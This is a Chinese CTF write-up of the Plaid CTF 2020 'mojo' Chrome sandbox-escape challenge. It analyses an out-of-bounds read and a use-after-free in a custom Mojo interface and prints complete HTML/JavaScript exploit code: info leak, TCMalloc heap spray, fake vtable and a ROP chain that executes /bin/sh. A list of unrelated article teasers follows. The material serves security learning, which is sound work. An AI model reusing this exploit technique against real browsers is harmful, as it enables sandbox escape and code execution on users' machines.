Chrome 沙箱逃逸 -- Plaid CTF 2020 mojo
文章目录
- 前置知识
- 参考文章
- 环境搭建
- 题目环境
- 调试环境
- 题目分析
- 附件分析
- 漏洞分析
- OOB
- UAF
- 漏洞利用
- 总结
前置知识
Mojo & Services 简介
chromium mojo 快速入门
Mojo docs
Intro to Mojo & Services
- 译文:利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸
- 原文:Cleanly Escaping the Chrome Sandbox
参考文章
本文主要参考 Plaid CTF 2020 mojo Writeup
环境搭建
题目环境
给了 docker
环境,所以直接启 docker
即可。
安装 docker
:
sudo snap install docker
运行 run.sh
脚本:
./run.sh
运行 chrome
:
./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url
调试环境
这里单独启一个 web
服务:
python3 -m http.server 8000
调试脚本:
# gdbinit
# 读取符号
file ./chrome
# 设置启动参数
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 设置执行fork后继续调试父进程
set follow-fork-mode parent
然后 gdb
调试即可:
gdb -x gdbinit
题目分析
附件分析
题目新定义了一个 PlaidStore
接口:
module blink.mojom;// This interface provides a data store
interface PlaidStore {// Stores data in the data storeStoreData(string key, array<uint8> data);// Gets data from the data storeGetData(string key, uint32 count) => (array<uint8> data);
};
该接口定义了两个方法 StoreData
、GetData
分别用于向 data store
中存储数据和获取数据。
然后在浏览器端实现 PlaidStore
接口:
namespace content {class RenderFrameHost;class PlaidStoreImpl : public blink::mojom::PlaidStore {public:explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);static void Create(RenderFrameHost* render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);~PlaidStoreImpl() override;// PlaidStore overrides:void StoreData(const std::string &key,const std::vector<uint8_t> &data) override;void GetData(const std::string &key,uint32_t count,GetDataCallback callback) override;private:RenderFrameHost* render_frame_host_;std::map<std::string, std::vector<uint8_t> > data_store_;
};}
可以看到这里存在两个私有变量其中一个是 data_store_
,这个好理解,其就是用来存储数据的;这里的 render_frame_host_
是神马东西呢?
render
进程中的每一个 frame
都在 browser
进程中对应一个 RenderFrameHost
,很多由浏览器提供的 mojo
接口就是通过 RenderFrameHoset
获取的。在 RenderFrameHost
初始化阶段,会在 BinderMap
中填充所有公开的 mojo
接口:
@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,map->Add<blink::mojom::SerialService>(base::BindRepeating(&RenderFrameHostImpl::BindSerialService, base::Unretained(host)));#endif // !defined(OS_ANDROID)
+
+ map->Add<blink::mojom::PlaidStore>(
+ base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+ base::Unretained(host)));}
当一个 render frame
请求该接口时,在 BinderMap
中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore
就会被调用,其定义如下:
void RenderFrameHostImpl::CreatePlaidStore(mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {PlaidStoreImpl::Create(this, std::move(receiver));
}
其直接调用了 PlaidStoreImpl::Create
函数:
// static
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通过该函数,一个 PlaidStoreImpl
就被创建,并且该 PendingReceiver
与一个 SelfOwnedReceiver
绑定。
漏洞分析
该题存在两个漏洞,分别是 OOB
与 UAF
,接下来直接分别讲解。
OOB
来分析下存取数据的操作:
void PlaidStoreImpl::StoreData(const std::string &key,const std::vector<uint8_t> &data) {if (!render_frame_host_->IsRenderFrameLive()) {return;}data_store_[key] = data;
}void PlaidStoreImpl::GetData(const std::string &key,uint32_t count,GetDataCallback callback) {if (!render_frame_host_->IsRenderFrameLive()) {std::move(callback).Run({});return;}auto it = data_store_.find(key);if (it == data_store_.end()) {std::move(callback).Run({});return;}std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);std::move(callback).Run(result);
}
可以看到两个操作都会先调用 render_frame_host_->IsRenderFrameLive
去检查 render frame
是否处于 live
状态。然后 StoreData
没啥问题,主要在于 GetData
函数没有对 count
字段做检查,所以这里可以导致越界读。
UAF
这里主要涉及到对象指针生命周期的问题。
在上面我们说过当一个 render frame
请求该接口时,在 BinderMap
中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore
就会被调用,其最后会调用到 PlaidStoreImpl::Create
函数:
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通过该函数,一个 PlaidStoreImpl
就被创建,并且该 PendingReceiver
与一个 SelfOwnedReceiver
绑定,也就是说这里会将消息管道的一段 receiver
与 PlaidStoreImpl
绑定,而这里传入的 render_frame_host
是一个 PlaidStoreImpl
类型的智能指针。
由于这里的绑定,所以当 mojo
管道关闭或发生错误时,PlaidStoreImpl
就会被自动释放,从而使得 PlaidStoreImpl
与 receiver
的生命周期保持一致,这其实是不存在问题的。
而在 PlaidStoreImpl
的构造函数中,存在对 render_frame_host
的赋值操作:
PlaidStoreImpl::PlaidStoreImpl(RenderFrameHost *render_frame_host): render_frame_host_(render_frame_host) {}
可以看到在 PlaidStoreImpl
的构造函数中,将 render_frame_host
赋给了其私有属性 render_frame_host_
。那么问题就来了,如果 render_frame_host
对象被析构了(比如删除 iframe
),但是 PlaidStoreImpl
还存在(因为 render_frame_host
并没有与 PlaidStoreImpl
绑定),那么在 StoreData/GetData
中调用 render_frame_host_->IsRenderFrameLive()
就会存在 UAF
漏洞。
漏洞利用
整体是思路就比较明确了:
- 利用
OOB
泄漏相关数据 - 利用
UAF
劫持程序执行流
前期准备
调用 MojoJS
接口时,请包含以下 JS
文件(这里请根据具体题目路径进行包含):
<script src="mojo/public/js/mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
然后进行管道端点绑定:
// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 获取 PlaidStore 实例
var name = blink.mojom.PlaidStore.name; // 获取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);
调试分析
OOB 泄漏数据
首先是测试 OOB
,主要是看下能够泄漏什么数据:
<html><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));}async function pwn() {console.log("PWN");//var ps = blink.mojom.PlaidStore.getRemote(true); // 这种方式断点断不下来???var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));var leak_data = (await(ps.getData("pwn", 0x20))).data;var u8 = new Uint8Array(leak_data);var u64 = new BigInt64Array(u8.buffer);}pwn();</script>
</html>
将断点打在 PlaidStoreImpl::Create
函数上,主要就是看下 PlaidStoreImpl
申请的空间:
可以看到这里 PlaidStoreImpl
的空间大小为 0x28
,其成员依次往下为 vtable
、render_frame_host
、data_store_
:
当 StoreData
执行完后:
可以看到,这里 PlaidStoreImpl
、data_store_
、data_vector
位于同一个段,所以这里可以通过越界读泄漏 PlaidStoreImpl
的 vtable
地址,并且还可以泄漏 render_frame_host_
的地址,然后通过这些地址泄漏其它地址。比如可以通过 vtable
的地址确定 ELF
加载基地址:
泄漏了 ELF
基地址后,就可以得到很多有用的 gadget
了。
UAF 劫持程序执行流
有了 gadget
后,接下来就是考虑如何劫持 rip
,这里的想法就是劫持虚表指针从而劫持程序执行流。
我们知道,每次调用 StoreData/GetData
时,都会先调用 render_frame_host_->IsRenderFrameLive
,其是通过虚表指针进行调用的:
可以看到这里的 rax
就是 render_frame_host_
的虚表地址,然后 [rax + 0x160]
就是 IsRenderFrameLive
函数的地址。
可以简单验证一下,可以看到当执行 call QWORD PTR[rax+0x160]
时,rax
确实是 render_frame_host_
的虚表地址:
那么整个思路就比较清晰了:
- 构造
render_frame_host_ UAF
- 堆喷获取
UAF
堆块并伪造render_frame_host_
虚表 - 调用
render_frame_host_->IsRenderFrameLive
控制程序执行流
这里 rax
寄存器的值就是 render_frame_host_
的虚表地址,而其虚表地址我们是可控的(就在 render_frame_host_
对象的头 8 字节处),而在 OOB
中我们又可以顺带泄漏 render_frame_host_
的地址(其就在 PlaidStoreImpl
虚表的下方),所以我们可以利用 xchg rax, rsp
等 gadget
劫持栈到 render_frame_host_
上,并提前在 render_frame_host_
上布置好 rop chain
即可。
这里借用上述参考文章中佬的一张图:
在布局
gadget
前还有一个问题:我们该如何在释放render_frame_host_
所指向的内存之后,再将这块内存分配回来?这里有个小知识点,chrome
中的内存管理使用的是TCMalloc
机制。又因为StoreData
函数分配的vector<uint8_t>
与render_frame_host_
使用的是同一个分配器,只要大量分配大小与RenderFrameHostImpl
相等的vector
,就有可能占位成功。
TCMalloc(Thread-Caching Malloc)
实现了高效的多线程内存管理,用于替代系统的内存分配相关的函数 TCMalloc解密
所以我们现在得需要知道 RenderFrameHostImpl
的大小。将断点打在其构造函数 RenderFrameHostImpl::RenderFrameHostImpl
上:
可以看到,在执行构造函数前执行了 RenderFrameFactory::Create
函数,所以其多半就是为 RenderFrameHostImpl
分配空间的函数,重新将断点打在 RenderFrameHostFactory::Create
上:
所以这里多半就可以确认 RenderFrameHostImpl
的大小为 0xc28
。
这里照搬上述参考文章,也是比较重要的部分:
当我们创建一个 child iframe
并建立一个 PlaidStoreImpl
实例后。如果我们关闭这个 child iframe
,则对应的RenderFrameHost
将会自动关闭;但与此同时,child iframe
所对应的 PlaidStoreImpl
与 browser
建立的 mojo
管道将会被断开。而该管道一但断开,则 PlaidStoreImpl
实例将会被析构。
因此,我们需要在关闭 child iframe
之前,将管道的 remote
端移交给 parent iframe
,使得 child iframe
的 PlaidStoreImpl
实例在 iframe
关闭后仍然存活。
回想一下,正常情况下,当关闭一个
iframe
时,RenderFrameHost
将会被析构、mojo
管道将会被关闭。此时Mojo
管道的关闭一定会带动PlaidStoreImpl
的析构,这样就可以析构掉所有该析构的对象。
但这里却没有,因为在关闭child iframe
前,已经将该iframe
所持有的Mojo
管道Remote
端移交出去了,因此在关闭child iframe
时将不会关闭Mojo
管道。而PlaidStoreImpl
的生命周期并没有与RenderFrameHost
相关联。即RenderFrameHost
的析构完全不影响PlaidStoreImpl
实例的生命周期。所以,PlaidStoreImpl
实例将不会被析构。
那么,问题是,该如何移交 Mojo
管道的 remote
端呢?答案是:使用 MojoInterfaceInterceptor
。该功能可以拦截来自同一进程中其他 iframe
的 Mojo.bindInterface
调用。在 child iframe
被销毁前,我们可以利用该功能将mojo
管道的一端传递给 parent iframe
。
以下是来自其他 exp 的相关代码,我们可以通过该代码片段来了解 MojoInterfaceInterceptor
的具体使用方式:
var kPwnInterfaceName = "pwn";// runs in the child frame
function sendPtr() {var pipe = Mojo.createMessagePipe();// bind the InstalledAppProvider with the child rfhMojo.bindInterface(blink.mojom.InstalledAppProvider.name,pipe.handle1, "context", true);// pass the endpoint handle to the parent frameMojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}// runs in the parent frame
function getFreedPtr() {return new Promise(function (resolve, reject) {var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash// intercept bindInterface calls for this process to accept the handle from the childlet interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");interceptor.oninterfacerequest = function(e) {interceptor.stop();// bind and return the remotevar provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);freeRFH(frame);resolve(provider_ptr);}interceptor.start();});
}
现在,我们已经解决了所有潜在的问题,UAF 的利用方式应该是这样的:
- 将
child iframe
中Mojo
管道的remote
端移交至parent iframe
,使得Mojo
管道仍然保持连接 - 释放
child iframe
- 多次分配内存,使得分配到原先被释放
RenderFrameHostImpl
的内存区域 - 写入目标数据
- 执行
child iframe
对应的PlaidStoreImpl::GetData
函数
不过需要注意的是,在该题中并不需要将
child iframe
的Mojo
管道一端传递给parent iframe
的操作。因为通过调试可知,child iframe
在remove
后,其所对应的PlaidStoreImpl
实例仍然存在,并没有随着Mojo pipe
的关闭而被析构
尚未明确具体原因,但这种情况却简化了漏洞利用的方式
最后简化后的利用方式如下:
- 释放
child iframe
- 多次分配内存,使得分配到原先被释放
RenderFrameHostImpl
的内存区域 - 写入目标数据
- 执行
child iframe
对应的PlaidStoreImpl::GetData
函数
简单测试一下:
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>async function pwn() {var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context",true);ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));window.ps = ps;<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {var ps = frame.contentWindow.ps;if(ps == undefined || ps == 0) {throw "FAILED to load iframe";}var raw_buf = new ArrayBuffer(0xc28);var fu8 = new Uint8Array(raw_buf).fill(0);var fu64 = new BigUint64Array(raw_buf);fu64[0] = 0xdeadbeefn;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context",true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn" + i, fu8);}await ps.getData("pwn", 0);});}</script>
</head>
<body onload = pwn()></body></html>
效果如下:
程序在 GetData
中 Crash
,此时的 rax = 0xdeadbeef
,符合预期。
最后的 exp
如下:
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {var elem = document.getElementById("#parentLog");if(elem == undefined) {elem = document.createElement("div");document.body.appendChild(elem);}elem.innerText += '[+] ' + str + ': 0x' + v.toString(16) + '\n';}async function pwn() {//var ps = blink.mojom.PlaidStore.getRemote(true);var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>async function pwn() {var ps_list = [];for (let i = 0; i < 0x200; i++) {let ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));ps_list.push(ps);}var elf_to_vtable = 0x9fb67a0n;var vtable_addr = -1;var render_frame_host_addr = -1;for (let k = 0; k < 0x200; k++) {let ps = ps_list[k];let leak_data = (await ps.getData("pwn", 0x200)).data;let u8 = new Uint8Array(leak_data);let u64 = new BigInt64Array(u8.buffer);for (let i = 0x20 / 8; i < u64.length - 1; i++) {if ((u64[i] & 0xfffn) == 0x7a0n && (u64[i] & 0xf00000000000n) == 0x500000000000n) {vtable_addr = u64[i];render_frame_host_addr = u64[i+1];break;}if (vtable_addr != -1) {break;}}}if (vtable_addr == -1) {hexx("FAILED to OOB vtable addr", -1);throw "[X] FAILED to OOB vtable addr";}var elf_base = vtable_addr - elf_to_vtable;window.ps = ps_list[0];window.elf_base = elf_base;window.render_frame_host_addr = render_frame_host_addr;}<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {await frame.contentWindow.pwn();var ps = frame.contentWindow.ps;var elf_base = frame.contentWindow.elf_base;var render_frame_host_addr = frame.contentWindow.render_frame_host_addr;if (ps == undefined || ps == 0) {throw "FAILED to load iframe";}var pop_rdi = elf_base + 0x0000000002e4630fn;var pop_rsi = elf_base + 0x0000000002d278d2n;var pop_rdx = elf_base + 0x0000000002e9998en;var pop_rax = elf_base + 0x0000000002e651ddn;var syscall = elf_base + 0x0000000002ef528dn;var xchg_rax_rsp = elf_base + 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; rethexx("elf_base", elf_base);hexx("render_frame_host_addr", render_frame_host_addr);hexx("pop_rdi", pop_rdi);hexx("pop_rsi", pop_rsi);hexx("pop_rdx", pop_rdx);hexx("pop_rax", pop_rax);hexx("syscall", syscall);hexx("xchg_rax_rsp", xchg_rax_rsp);const RenderFrameHostSize = 0xc28;var raw_buf = new ArrayBuffer(RenderFrameHostSize);var fu8 = new Uint8Array(raw_buf).fill(0);var fdv = new DataView(raw_buf);var rop = new BigUint64Array(raw_buf, 0x10);fdv.setBigInt64(0, render_frame_host_addr+0x10n, true);fdv.setBigInt64(0x10+0x160, xchg_rax_rsp, true);fdv.setBigInt64(0x10+0x160+0x8, 0x68732f6e69622fn, true);rop[0] = 0xdeadbeefn; // rbprop[1] = pop_rdi;rop[2] = render_frame_host_addr+0x178n;rop[3] = pop_rsi;rop[4] = 0n;rop[5] = pop_rdx;rop[6] = 0n;rop[7] = pop_rax;rop[8] = 59n;rop[9] = syscall;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context", true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn"+i, fu8);}await ps.getData("pwn", 0x20);});}</script>
</head>
<body onload = pwn()></body>
</html>
效果如下:
总结
这个题目算是比较简单的沙箱逃逸了,但是还是搞了两天。主要的问题就是调试,比较奇怪的是如果 exp
中出现了一些错误,程序不会报错。比如我的 exp
最开始在赋值 BigInt
类型的数字时,忘记给 0
后面加上 n
,然后 exp
就一直打不通,但是程序也不报错,所以这里发现这个 0n
问题,我就搞了一天…
相关文章:

Chrome 沙箱逃逸 -- Plaid CTF 2020 mojo
文章目录 前置知识参考文章环境搭建题目环境调试环境 题目分析附件分析漏洞分析OOBUAF 漏洞利用总结 前置知识 Mojo & Services 简介 chromium mojo 快速入门 Mojo docs Intro to Mojo & Services 译文:利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸原文…...

汇编笔记 01
小蒟蒻的汇编自学笔记,如有错误,望不吝赐教 文章目录 笔记编辑器,启动!debug功能CS & IPmovaddsub汇编语言寄存器的英文全称中英对照表muldivandor 笔记 编辑器,启动! 进入 debug 模式 debug功能 …...
C语言:矩阵中的最小元素
题目描述 给定一个5X5的整数矩阵,找出其中最小的元素,输出所在的行号、列号和元素值,其中行号和列号都从0开始。 例如,有矩阵: 5 86 53 50 18 25 67 79 44 68 79 63 24 84 100 42 30 59 47 37 28 10 32 23 81 其中最小…...
【原创】MQTT开发笔记(四)- 压力测试
一、前言 Jmeter 是 apache 公司基于 java 开发的一款开源压力测试工具,体积小,功能全,使用方便,是一个比较轻量级的测试工具,使用起来非常简 单。因为 jmeter 是 java 开发的,所以运行的时候必须先要安装 …...

vue 引入 百度地图API 和 路书
公司项目中,偶尔都会涉及到地图的使用,这里以百度地图为例,我们梳理一下引用流程及注意点 账号和获取密钥 百度地图示例 百度地图 类参考 1、账号和获取密钥 // api.map.baidu.com/api?typewebgl&v3.0&ak您的密钥<script type…...
【QT+QGIS跨平台编译】之二十六:【SpatialIndex+Qt跨平台编译】(一套代码、一套框架,跨平台编译)
文章目录 一、SpatialIndex介绍二、文件下载三、文件分析四、pro文件五、编译实践一、SpatialIndex介绍 SpatialIndex是一个用于高效处理空间数据的C++库,基于R树索引结构实现。它提供了一系列的空间操作和查询算法,能够快速地对大规模空间数据进行检索和分析。 SpatialInd…...

SQL在云计算中的新角色:重新定义数据分析
文章目录 1. 云计算与数据分析的融合2. SQL在云计算中的新角色3. 分布式SQL查询引擎4. SQL-on-Hadoop解决方案5. SQL与其他数据分析工具的集成6. 实时数据分析与SQL7. SQL在云数据仓库中的角色8. 安全性与隐私保护9. SQL的未来展望《SQL数据分析实战(第2版ÿ…...

云安全的基本概念(基本目标与指导方针)
目录 一、云安全概念概述 1.1 概述 二、云安全的基本目标 2.1 安全策略开发模型 2.1.1 信息安全三元组 2.1.1.1 保密性(Confidentiality) 2.1.1.2 完整性(Integrity) 2.1.1.3 可用性(Availability) 2.1.2 信息安全三元组的局限性 2.2 其他信息安全属性 2.2.1 真实性 …...

猫头虎分享已解决Bug || docker: Error response from daemon: network not found
博主猫头虎的技术世界 🌟 欢迎来到猫头虎的博客 — 探索技术的无限可能! 专栏链接: 🔗 精选专栏: 《面试题大全》 — 面试准备的宝典!《IDEA开发秘籍》 — 提升你的IDEA技能!《100天精通鸿蒙》 …...

《幻兽帕鲁》攻略:0基础入门及游戏基础操作 幻兽帕鲁基础设施 幻兽帕鲁基础攻击力 Mac苹果电脑玩幻兽帕鲁 幻兽帕鲁加班加点
今天就跟大家聊聊《幻兽帕鲁》攻略:0基础入门及游戏基础操作。 如果想在苹果电脑玩《幻兽帕鲁》记得安装CrossOver哦。 以下纯干货: CrossOver正版安装包(免费试用):https://souurl.cn/Y1gDao 一、基础操作 二、界面…...

JDK版本如何在IDEA中切换
JDK版本在IDEA中切换 一、项目结构设置 1.Platform——Settings 项目结构---SDKS 2.Project——SDK 3.Modules——SDK——Sources 4.Modules——SDK——Dependencies 二、设置--编译--字节码版本 Settings——Build,——Java Compiler...
如何做零售企业满意度调查
零售业满意度调研是一项至关重要的市场研究工作,它能够帮助企业深入了解消费者对零售店的整体印象、商品质量、服务质量等方面的评价。这种评价可以帮助企业了解自身的优势和不足,提高企业的市场竞争力。民安智库(第三方市场调研公司…...

platform tree架构下i2c应用实例(HS3003)
目录 概述 1 探究platform tree下的i2c 1.1 platform tree下的i2c驱动 1.2 查看i2c总线下的设备 1.3 使用命令读写设备寄存器 2 认识HS3003 2.1 HS3003特性 2.2 HS3003寄存器 2.2.1 温湿度数据寄存器 2.2.2 参数寄存器 2.2.3 一个参数配置Demo 2.3 温湿度值转换 2.…...
Mongodb聚合:$planCacheStats
执行查询时,MongoDB 查询规划器会根据可用索引选择并缓存效率最高的查询计划。$planCache可以返回所有集合的查询计划缓存信息。要使用$planCache,必须把$planCacheStats阶段放在管道最前面。 语法 { $planCacheStats: { } }使用 $planCacheStats必须…...

8个简约精美的WordPress外贸网站主题模板
Simplify WordPress外贸网站模板 Simplify WordPress外贸网站模板,简洁实用的外贸公司wordpress外贸建站模板。 查看演示 Invisible Trade WP外贸网站模板 WordPress Invisible Trade外贸网站模板,做进出口贸易公司官网的wordpress网站模板。 查看演…...

本地缓存Ehcache的应用实践 | 京东云技术团队
java本地缓存包含多个框架,其中常用的包括:Caffeine、Guava Cache和Ehcache, 其中Caffeine号称本地缓存之王,也是近年来被众多程序员推崇的缓存框架,同时也是SpringBoot内置的本地缓存实现。但是除了Caffeine之外&…...
linux一键换源
使用方法 - LinuxMirrors 使用方法 一键执行命令# 中国大陆(默认) 海外地区 bash <(curl -sSL https://linuxmirrors.cn/main.sh)-----------------------------------| ⡇ ⠄ ⣀⡀ ⡀⢀ ⡀⢀ ⡷⢾ ⠄ ⡀⣀ ⡀⣀ ⢀⡀ ⡀⣀ ⢀⣀ || ⠧⠤ ⠇ ⠇⠸ …...
Python Scapy库实现ARP扫描和ARP欺骗
ARP扫描:检测指定IP网段中哪些主机是在线的,并获取它们的MAC地址 from scapy.all import * import argparse import threading import time import logging # 解析CIDR格式的网段,并返回IP地址列表 # >接受一个CIDR格式的网段…...

Fink CDC数据同步(六)数据入湖Hudi
数据入湖Hudi Apache Hudi(简称:Hudi)使得您能在hadoop兼容的存储之上存储大量数据,同时它还提供两种原语,使得除了经典的批处理之外,还可以在数据湖上进行流处理。这两种原语分别是: Update/Delete记录:H…...
线程和进程的区别及基础线程创建
1 线程和进程的区别 资源分配和调度: 进程(火车)是操作系统进行资源分配和调度的最小单位。它有自己的独立资源空间,包括内存、文件句柄等。线程(车厢)是CPU调度的最小单位。一个进程可以包含多个线程&…...
零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?
一、核心优势:专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发,是一款收费低廉但功能全面的Windows NAS工具,主打“无学习成本部署” 。与其他NAS软件相比,其优势在于: 无需硬件改造:将任意W…...

【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...

Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误
HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误,它们的含义、原因和解决方法都有显著区别。以下是详细对比: 1. HTTP 406 (Not Acceptable) 含义: 客户端请求的内容类型与服务器支持的内容类型不匹…...
STM32+rt-thread判断是否联网
一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...
线程与协程
1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指:像函数调用/返回一样轻量地完成任务切换。 举例说明: 当你在程序中写一个函数调用: funcA() 然后 funcA 执行完后返回&…...
Java 加密常用的各种算法及其选择
在数字化时代,数据安全至关重要,Java 作为广泛应用的编程语言,提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景,有助于开发者在不同的业务需求中做出正确的选择。 一、对称加密算法…...
相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...

Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

有限自动机到正规文法转换器v1.0
1 项目简介 这是一个功能强大的有限自动机(Finite Automaton, FA)到正规文法(Regular Grammar)转换器,它配备了一个直观且完整的图形用户界面,使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...